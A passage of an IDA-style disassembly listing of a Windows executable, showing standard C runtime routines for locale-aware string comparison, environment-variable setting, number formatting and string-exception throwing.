CODE XREF: sub_4265D3+13Cj ; sub_4265D3+16Dj push 2 loc_4266C0: ; CODE XREF: sub_4265D3+146j pop eax jmp loc_42683E ; --------------------------------------------------------------------------- loc_4266C6: ; CODE XREF: sub_4265D3+E9j cmp [ebp+arg_14], edi jle short loc_4266D2 loc_4266CB: ; CODE XREF: sub_4265D3+151j ; sub_4265D3+159j ... mov eax, edi jmp loc_42683E ; --------------------------------------------------------------------------- loc_4266D2: ; CODE XREF: sub_4265D3+F6j cmp esi, edi jg short loc_426717 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_428068 ; GetCPInfo test eax, eax jz loc_42683C cmp esi, ebx jle short loc_42671B cmp [ebp+var_3C], 2 jb short loc_426717 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426717 loc_4266FD: ; CODE XREF: sub_4265D3+142j mov dl, [eax+1] cmp dl, bl jz short loc_426717 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426711 cmp cl, dl jbe short loc_4266BE loc_426711: ; CODE XREF: sub_4265D3+138j inc eax inc eax cmp [eax], bl jnz short loc_4266FD loc_426717: ; CODE XREF: sub_4265D3+101j ; sub_4265D3+120j ... push 3 jmp short loc_4266C0 ; --------------------------------------------------------------------------- loc_42671B: ; CODE XREF: sub_4265D3+11Aj cmp [ebp+arg_14], ebx jle short loc_426751 cmp [ebp+var_3C], 2 jb short loc_4266CB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4266CB loc_42672E: ; CODE XREF: sub_4265D3+177j mov dl, [eax+1] cmp dl, bl jz short loc_4266CB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426746 cmp cl, dl jbe loc_4266BE loc_426746: ; CODE XREF: sub_4265D3+169j inc eax inc eax cmp [eax], bl jnz short loc_42672E jmp loc_4266CB ; --------------------------------------------------------------------------- loc_426751: ; CODE XREF: sub_4265D3+E0j ; sub_4265D3+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_4280E8 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_42683C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4267A0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4267A0: ; CODE XREF: sub_4265D3+1B5j cmp [ebp+var_24], ebx jz loc_42683C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_4280E8 call esi ; MultiByteToWideChar test eax, eax jz short loc_42683C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42683C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42680B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42680B: ; CODE XREF: sub_4265D3+224j cmp edi, ebx jz short loc_42683C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_4280E8 ; MultiByteToWideChar test eax, eax jz short loc_42683C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_428008 ; CompareStringW jmp short loc_42683E ; --------------------------------------------------------------------------- loc_42683C: ; CODE XREF: sub_4265D3+63j ; sub_4265D3+C6j ... xor eax, eax loc_42683E: ; CODE XREF: sub_4265D3+BFj ; sub_4265D3+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4265D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426850 proc near ; CODE XREF: sub_426565+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4268B4 push 3Dh push [ebp+arg_0] call sub_426A96 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4268B4 cmp [ebp+arg_0], esi jz short loc_4268B4 mov eax, dword_4DE5EC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DE5F0 jnz short loc_42689A push eax call sub_426A2F pop ecx mov dword_4DE5EC, eax loc_42689A: ; CODE XREF: sub_426850+3Cj cmp eax, edi jnz short loc_4268F2 cmp [ebp+arg_4], edi jz short loc_4268BC cmp dword_4DE5F4, edi jz short loc_4268BC call sub_426565 test eax, eax jz short loc_4268F2 loc_4268B4: ; CODE XREF: sub_426850+Dj ; sub_426850+22j ... or eax, 0FFFFFFFFh loc_4268B7: ; CODE XREF: sub_426850+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4268BC: ; CODE XREF: sub_426850+51j ; sub_426850+59j cmp ebx, edi jnz loc_4269D0 push 4 call sub_41BB45 cmp eax, edi pop ecx mov dword_4DE5EC, eax jz short loc_4268B4 mov [eax], edi cmp dword_4DE5F4, edi jnz short loc_4268F2 push 4 call sub_41BB45 cmp eax, edi pop ecx mov dword_4DE5F4, eax jz short loc_4268B4 mov [eax], edi loc_4268F2: ; CODE XREF: sub_426850+4Cj ; sub_426850+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DE5EC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_4269D7 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_426952 cmp dword ptr [edi], 0 jz short loc_426952 test ebx, ebx jz short loc_42694A push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B721 pop ecx loc_426924: ; CODE XREF: sub_426850+E2j cmp dword ptr [edi], 0 jz short loc_426934 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_426924 ; --------------------------------------------------------------------------- loc_426934: ; CODE XREF: sub_426850+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B872 pop ecx test eax, eax pop ecx jz short loc_426984 jmp short loc_42697F ; --------------------------------------------------------------------------- loc_42694A: ; CODE XREF: sub_426850+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_426984 ; --------------------------------------------------------------------------- loc_426952: ; CODE XREF: sub_426850+BDj ; sub_426850+C2j test ebx, ebx jnz short loc_4269D0 test esi, esi jge short loc_42695C neg esi loc_42695C: ; CODE XREF: sub_426850+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B872 pop ecx test eax, eax pop ecx jz loc_4268B4 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_42697F: ; CODE XREF: sub_426850+F8j mov dword_4DE5EC, eax loc_426984: ; CODE XREF: sub_426850+F6j ; sub_426850+100j cmp [ebp+arg_4], 0 jz short loc_4269D0 push [ebp+arg_0] call sub_41B650 inc eax inc eax push eax call sub_41BB45 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4269D0 push [ebp+arg_0] push esi call sub_41C520 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_428004 ; SetEnvironmentVariableA push esi call sub_41B721 pop ecx loc_4269D0: ; CODE XREF: sub_426850+6Ej ; sub_426850+104j ... xor eax, eax jmp loc_4268B7 sub_426850 endp ; =============== S U B R O U T I N E ======================================= sub_4269D7 proc near ; CODE XREF: sub_426850+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DE5EC push edi mov eax, [esi] test eax, eax jz short loc_426A12 mov edi, [esp+8+arg_4] loc_4269E9: ; CODE XREF: sub_4269D7+39j push edi push eax push [esp+10h+arg_0] call sub_426526 add esp, 0Ch test eax, eax jnz short loc_426A08 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_426A22 test al, al jz short loc_426A22 loc_426A08: ; CODE XREF: sub_4269D7+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_4269E9 loc_426A12: ; CODE XREF: sub_4269D7+Cj mov eax, esi sub eax, dword_4DE5EC sar eax, 2 neg eax loc_426A1F: ; CODE XREF: sub_4269D7+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_426A22: ; CODE XREF: sub_4269D7+2Bj ; sub_4269D7+2Fj mov eax, esi sub eax, dword_4DE5EC sar eax, 2 jmp short loc_426A1F sub_4269D7 endp ; =============== S U B R O U T I N E ======================================= sub_426A2F proc near ; CODE XREF: sub_426850+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426A3E xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426A3E: ; CODE XREF: sub_426A2F+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_426A50 loc_426A46: ; CODE XREF: sub_426A2F+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_426A46 loc_426A50: ; CODE XREF: sub_426A2F+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41BB45 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_426A71 push 9 call sub_41E0C9 pop ecx loc_426A71: ; CODE XREF: sub_426A2F+38j mov eax, [edi] mov ebx, edi loc_426A75: ; CODE XREF: sub_426A2F+5Bj test eax, eax jz short loc_426A8C push eax add ebx, 4 call sub_426B09 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_426A75 ; --------------------------------------------------------------------------- loc_426A8C: ; CODE XREF: sub_426A2F+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_426A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426A96 proc near ; CODE XREF: sub_426850+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DFA3C, 0 jnz short loc_426AB1 push [ebp+arg_4] push [ebp+arg_0] call sub_41C620 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_426AB1: ; CODE XREF: sub_426A96+Aj mov ecx, [ebp+arg_0] loc_426AB4: ; CODE XREF: sub_426A96+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426AF7 movzx edx, al test byte_4DFB41[edx], 4 jz short loc_426AE3 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426AEE movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_426AF2 jmp short loc_426AEB ; --------------------------------------------------------------------------- loc_426AE3: ; CODE XREF: sub_426A96+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426AF7 loc_426AEB: ; CODE XREF: sub_426A96+4Bj inc ecx jmp short loc_426AB4 ; --------------------------------------------------------------------------- loc_426AEE: ; CODE XREF: sub_426A96+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_426AF2: ; CODE XREF: sub_426A96+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426AF7: ; CODE XREF: sub_426A96+25j ; sub_426A96+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_426A96 endp ; =============== S U B R O U T I N E ======================================= sub_426B09 proc near ; CODE XREF: sub_418584+21p ; sub_426A2F+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_426B30 push esi call sub_41B650 inc eax push eax call sub_41BB45 pop ecx test eax, eax pop ecx jz short loc_426B30 push esi push eax call sub_41C520 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_426B30: ; CODE XREF: sub_426B09+7j ; sub_426B09+1Aj xor eax, eax pop esi retn sub_426B09 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426B40 proc near ; CODE XREF: sub_426C23+19p ; sub_426D4A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B650 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D8AB mov eax, esi pop esi retn 8 sub_426B40 endp ; =============== S U B R O U T I N E ======================================= sub_426B6A proc near ; CODE XREF: .XPack0:00426B95p ; sub_426C18+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_428CF4 call sub_40D873 mov ecx, esi pop esi jmp sub_426FE9 sub_426B6A endp ; =============== S U B R O U T I N E ======================================= sub_426B85 proc near ; DATA XREF: .XPack0:00428CF8o ; .XPack0:00428D08o ... mov eax, [ecx+10h] test eax, eax jnz short locret_426B91 mov eax, offset dword_428690 locret_426B91: ; CODE XREF: sub_426B85+5j retn sub_426B85 endp ; --------------------------------------------------------------------------- loc_426B92: ; DATA XREF: .XPack0:off_428CF4o push esi mov esi, ecx call sub_426B6A test byte ptr [esp+8], 1 jz short loc_426BA8 push esi call sub_41D2EF pop ecx loc_426BA8: ; CODE XREF: .XPack0:00426B9Fj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_426BAE proc near ; CODE XREF: sub_426C23+29p mov eax, offset loc_427566 call sub_41D2D0 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_428D10 call sub_426F62 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_428CF4 call sub_426C60 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_428D04 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426BAE endp ; =============== S U B R O U T I N E ======================================= sub_426BFC proc near ; DATA XREF: .XPack0:off_428D04o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426C18 test [esp+4+arg_0], 1 jz short loc_426C12 push esi call sub_41D2EF pop ecx loc_426C12: ; CODE XREF: sub_426BFC+Dj mov eax, esi pop esi retn 4 sub_426BFC endp ; =============== S U B R O U T I N E ======================================= sub_426C18 proc near ; CODE XREF: sub_426BFC+3p ; DATA XREF: .XPack0:00429068o mov dword ptr [ecx], offset off_428D04 jmp sub_426B6A sub_426C18 endp ; =============== S U B R O U T I N E ======================================= sub_426C23 proc near ; CODE XREF: sub_40D720+13p ; sub_40D8E0+Ep mov eax, offset loc_427578 call sub_41D2D0 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426B40 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_426BAE push offset dword_429064 lea eax, [ebp-3Ch] push eax call sub_42700C int 3 ; Trap to Debugger sub_426C23 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426C60 proc near ; CODE XREF: sub_426BAE+32p ; sub_426C80+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D720 mov eax, esi pop esi retn 4 sub_426C60 endp ; =============== S U B R O U T I N E ======================================= sub_426C80 proc near ; CODE XREF: sub_426D4A+29p mov eax, offset loc_42758A call sub_41D2D0 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_428D10 call sub_426F62 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_428CF4 call sub_426C60 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426C80 endp ; =============== S U B R O U T I N E ======================================= sub_426CC8 proc near ; CODE XREF: sub_426D32+7p ; sub_426D8E+7p ... mov eax, offset loc_42759C call sub_41D2D0 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_426F9F and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_428CF4 call sub_426C60 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426CC8 endp ; =============== S U B R O U T I N E ======================================= sub_426D0B proc near ; DATA XREF: .XPack0:off_428D30o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426D27 test [esp+4+arg_0], 1 jz short loc_426D21 push esi call sub_41D2EF pop ecx loc_426D21: ; CODE XREF: sub_426D0B+Dj mov eax, esi pop esi retn 4 sub_426D0B endp ; =============== S U B R O U T I N E ======================================= sub_426D27 proc near ; CODE XREF: sub_426D0B+3p ; DATA XREF: .XPack0:00429110o mov dword ptr [ecx], offset off_428D30 jmp sub_426B6A sub_426D27 endp ; =============== S U B R O U T I N E ======================================= sub_426D32 proc near ; CODE XREF: sub_426DA6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426CC8 mov dword ptr [esi], offset off_428D04 mov eax, esi pop esi retn 4 sub_426D32 endp ; =============== S U B R O U T I N E ======================================= sub_426D4A proc near ; CODE XREF: sub_40D66E+12p ; sub_40D6C8+12p ... mov eax, offset loc_4275AE call sub_41D2D0 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426B40 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_426C80 push offset dword_42910C lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_428D30 call sub_42700C int 3 ; Trap to Debugger sub_426D4A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426D8E proc near ; CODE XREF: sub_426DA6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426CC8 mov dword ptr [esi], offset off_428D30 mov eax, esi pop esi retn 4 sub_426D8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426DA6 proc near ; DATA XREF: .XPack0:00428CFCo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426CC8 push offset dword_42914C lea eax, [ebp+var_1C] push eax call sub_42700C int 3 ; Trap to Debugger loc_426DC4: ; DATA XREF: .XPack0:00428D38o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426D8E push offset dword_42910C lea eax, [ebp+var_1C] push eax call sub_42700C int 3 ; Trap to Debugger loc_426DE2: ; DATA XREF: .XPack0:00428D0Co push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426D32 push offset dword_429064 lea eax, [ebp+var_1C] push eax call sub_42700C int 3 ; Trap to Debugger sub_426DA6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426E00 proc near ; CODE XREF: sub_40D000+5Ep ; sub_40F6A7+148p ... jmp dword_428228 sub_426E00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426E06 proc near ; CODE XREF: sub_41CF3C+23p ; sub_41D1E0+13p jmp dword_4281A8 sub_426E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426E0C proc near ; CODE XREF: .XPack0:0040AF31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426E21 cmp [ebp+arg_0], 0 jge short loc_426E21 push 1 push 0Ah jmp short loc_426E26 ; --------------------------------------------------------------------------- loc_426E21: ; CODE XREF: sub_426E0C+7j ; sub_426E0C+Dj push 0 push [ebp+arg_8] loc_426E26: ; CODE XREF: sub_426E0C+13j push [ebp+arg_4] push [ebp+arg_0] call sub_426E39 mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_426E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426E39 proc near ; CODE XREF: sub_426E0C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_426E53 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_426E56 ; --------------------------------------------------------------------------- loc_426E53: ; CODE XREF: sub_426E39+Dj mov esi, [ebp+arg_0] loc_426E56: ; CODE XREF: sub_426E39+18j mov edi, ecx loc_426E58: ; CODE XREF: sub_426E39+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_426E74 add bl, 57h jmp short loc_426E77 ; --------------------------------------------------------------------------- loc_426E74: ; CODE XREF: sub_426E39+34j add bl, 30h loc_426E77: ; CODE XREF: sub_426E39+39j mov [ecx], bl inc ecx test esi, esi ja short loc_426E58 and byte ptr [ecx], 0 dec ecx loc_426E82: ; CODE XREF: sub_426E39+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_426E82 pop edi pop esi pop ebx pop ebp retn sub_426E39 endp ; =============== S U B R O U T I N E ======================================= sub_426E95 proc near ; CODE XREF: sub_417805+E2p ; sub_417805+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DE684, 0 push ebx jnz short loc_426EDB mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426EA7: ; CODE XREF: sub_426E95+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426EB9 cmp bx, 41h jb short loc_426EB9 add ebx, 20h loc_426EB9: ; CODE XREF: sub_426E95+19j ; sub_426E95+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426ECB cmp ax, 41h jb short loc_426ECB add eax, 20h loc_426ECB: ; CODE XREF: sub_426E95+2Bj ; sub_426E95+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_426F0B cmp bx, ax jz short loc_426EA7 jmp short loc_426F0B ; --------------------------------------------------------------------------- loc_426EDB: ; CODE XREF: sub_426E95+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426EE5: ; CODE XREF: sub_426E95+72j mov ax, [esi] inc esi push eax inc esi call sub_427046 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_427046 pop ecx test bx, bx pop ecx jz short loc_426F09 cmp bx, ax jz short loc_426EE5 loc_426F09: ; CODE XREF: sub_426E95+6Dj pop edi pop esi loc_426F0B: ; CODE XREF: sub_426E95+3Dj ; sub_426E95+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426E95 endp ; =============== S U B R O U T I N E ======================================= sub_426F15 proc near ; CODE XREF: .XPack0:00426F2Dp mov dword ptr [ecx], offset off_428D50 mov ecx, [ecx+4] test ecx, ecx jz short locret_426F29 push ecx call sub_41B721 pop ecx locret_426F29: ; CODE XREF: sub_426F15+Bj retn sub_426F15 endp ; --------------------------------------------------------------------------- loc_426F2A: ; DATA XREF: .XPack0:off_428D50o push esi mov esi, ecx call sub_426F15 test byte ptr [esp+8], 1 jz short loc_426F40 push esi call sub_41D2EF pop ecx loc_426F40: ; CODE XREF: .XPack0:00426F37j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426F46: ; DATA XREF: .XPack0:off_428D58o push esi mov esi, ecx call sub_426FE9 test byte ptr [esp+8], 1 jz short loc_426F5C push esi call sub_41D2EF pop ecx loc_426F5C: ; CODE XREF: .XPack0:00426F53j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_426F62 proc near ; CODE XREF: sub_426BAE+1Dp ; sub_426C80+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_428D58 push dword ptr [edi] call sub_41B650 inc eax push eax call sub_41D635 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_426F91 push dword ptr [edi] push eax call sub_41C520 pop ecx pop ecx loc_426F91: ; CODE XREF: sub_426F62+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_426F62 endp ; =============== S U B R O U T I N E ======================================= sub_426F9F proc near ; CODE XREF: sub_426CC8+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_428D58 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426FDC push dword ptr [edi+4] call sub_41B650 inc eax push eax call sub_41D635 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_426FE2 push dword ptr [edi+4] push eax call sub_41C520 pop ecx pop ecx jmp short loc_426FE2 ; --------------------------------------------------------------------------- loc_426FDC: ; CODE XREF: sub_426F9F+16j mov eax, [edi+4] mov [esi+4], eax loc_426FE2: ; CODE XREF: sub_426F9F+2Ej ; sub_426F9F+3Bj mov eax, esi pop edi pop esi retn 4 sub_426F9F endp ; =============== S U B R O U T I N E ======================================= sub_426FE9 proc near ; CODE XREF: sub_426B6A+16j ; .XPack0:00426F49p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_428D58 jz short locret_426FFE push dword ptr [ecx+4] call sub_41D2EF pop ecx locret_426FFE: ; CODE XREF: sub_426FE9+Aj retn sub_426FE9 endp ; --------------------------------------------------------------------------- mov eax, [ecx+4] test eax, eax jnz short locret_42700B mov eax, offset aUnknownExcepti ; "Unknown exception" locret_42700B: ; CODE XREF: .XPack0:00427004j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42700C proc near ; CODE XREF: sub_426C23+37p ; sub_426D4A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_428D78 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_42805C ; RaiseException pop edi pop esi leave retn 8 sub_42700C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427046 proc near ; CODE XREF: sub_426E95+56p ; sub_426E95+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_427058 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_427058: ; CODE XREF: sub_427046+Bj cmp dword_4DE684, 0 jnz short loc_427072 cmp ax, 41h jb short locret_4270B9 cmp ax, 5Ah ja short locret_4270B9 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_427072: ; CODE XREF: sub_427046+19j cmp ax, 100h jnb short loc_42708C push 1 push eax call sub_4272F4 pop ecx test eax, eax pop ecx jnz short loc_42708C mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_42708C: ; CODE XREF: sub_427046+30j ; sub_427046+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DE684 call sub_4270BB add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_4270B9 mov ax, [ebp+var_2] locret_4270B9: ; CODE XREF: sub_427046+1Fj ; sub_427046+25j ... leave retn sub_427046 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4270BB proc near ; CODE XREF: sub_427046+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428D98 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DE8DC, esi jnz short loc_427131 push esi push esi push 1 pop ebx push ebx push offset dword_428928 mov edi, 100h push edi push esi call dword_428050 ; LCMapStringW test eax, eax jz short loc_42710F mov dword_4DE8DC, ebx jmp short loc_427131 ; --------------------------------------------------------------------------- loc_42710F: ; CODE XREF: sub_4270BB+4Aj push esi push esi push ebx push offset dword_4CE1C0 push edi push esi call dword_428054 ; LCMapStringA test eax, eax jz loc_4272B0 mov dword_4DE8DC, 2 loc_427131: ; CODE XREF: sub_4270BB+2Ej ; sub_4270BB+52j cmp [ebp+arg_C], esi 